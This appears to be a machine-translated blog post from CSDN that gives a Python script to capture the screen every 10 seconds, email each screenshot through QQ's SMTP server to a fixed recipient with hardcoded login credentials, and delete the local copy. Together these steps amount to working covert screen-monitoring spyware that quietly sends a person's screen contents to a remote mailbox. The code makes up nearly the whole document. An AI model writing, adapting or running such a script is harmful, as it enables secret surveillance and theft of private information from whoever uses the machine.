Python은 컴퓨터의 스크린샷을 지정된 사서함에 정기적으로 보내고 로컬 스크린샷을 삭제합니다.

파이썬은 컴퓨터의 스크린샷을 찍어 일정한 간격으로 지정된 사서함으로 이메일을 보내고 로컬 스크린샷을 삭제합니다.

import smtplib
from email.mime.text import MIMEText
from email.mime.image import MIMEImage	

#发送多种类型的邮件
from email.mime.multipart import MIMEMultipart

import time
import os
from PIL import ImageGrab
i=1
while True:
    i+=1
    im = ImageGrab.grab()
    im.save('s'+str(i)+'.jpg')
    



    msg_from = '[email protected]'  # 发送方邮箱
    passwd = '4576657657657658'
     
    to= ['[email protected]'] #接受方邮箱
     
    #设置邮件内容
    #MIMEMultipart类可以放任何内容
    msg = MIMEMultipart()
    conntent="这个是字符串"
    #把内容加进去
    #msg.attach(MIMEText(conntent,'plain','utf-8'))

    # 二进制读取图片	
    image_data=open('s'+str(i)+'.jpg','rb')	
    # 设置读取获取的二进制数据	
    message_image = MIMEImage(image_data.read())	
    # 关闭刚才打开的文件	
    image_data.close()	
    # 添加图片文件到邮件信息当中去	
    #msg.attach(message_image)


    att2=MIMEText(open('s'+str(i)+'.jpg','rb').read(),'base64','utf-8')
    att2['Content-Type']='application/octet-stream'   #设置类型是流媒体格式
    att2['Content-Disposition']='attachment;filename=1.jpg\"'  #设置描述信息

    msg.attach(att2)

    #设置邮件主题
    msg['Subject']="这个是邮件主题"
     
    #发送方信息
    msg['From']=msg_from
     
    #开始发送
     
    #通过SSL方式发送,服务器地址和端口
    s = smtplib.SMTP_SSL("smtp.qq.com", 465)
    # 登录邮箱
    s.login(msg_from, passwd)
    #开始发送
    s.sendmail(msg_from,to,msg.as_string())
    print("邮件发送成功")
    time.sleep(10)  #修改发送邮件间隔时间
    os.remove('s'+str(i)+'.jpg')

추천

출처blog.csdn.net/babyai996/article/details/121486230